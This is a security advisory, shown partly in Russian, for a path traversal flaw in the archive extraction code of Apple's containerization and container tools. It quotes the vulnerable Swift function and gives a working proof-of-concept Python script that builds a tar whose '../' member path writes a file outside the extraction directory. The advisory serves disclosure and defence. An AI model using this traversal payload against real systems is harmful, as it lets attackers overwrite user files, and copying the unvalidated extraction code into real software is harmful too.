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GHSA-cq3j-qj2h-6rv3

Опубликовано: 22 янв. 2026
Источник: github
Github: Прошло ревью
CVSS4: 1.9

Описание

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

/// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" # Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}")
% ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Пакеты

Наименование

github.com/apple/containerization

Затронутые версииВерсия исправления

<= 0.20.1

0.21.0

Наименование

github.com/apple/container

Затронутые версииВерсия исправления

<= 0.7.1

0.8.0

EPSS

Процентиль: 0%
0.00006
Низкий

1.9 Low

CVSS4

Дефекты

CWE-22

Связанные уязвимости

CVSS3: 7.8
nvd
17 дней назад

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

EPSS

Процентиль: 0%
0.00006
Низкий

1.9 Low

CVSS4

Дефекты

CWE-22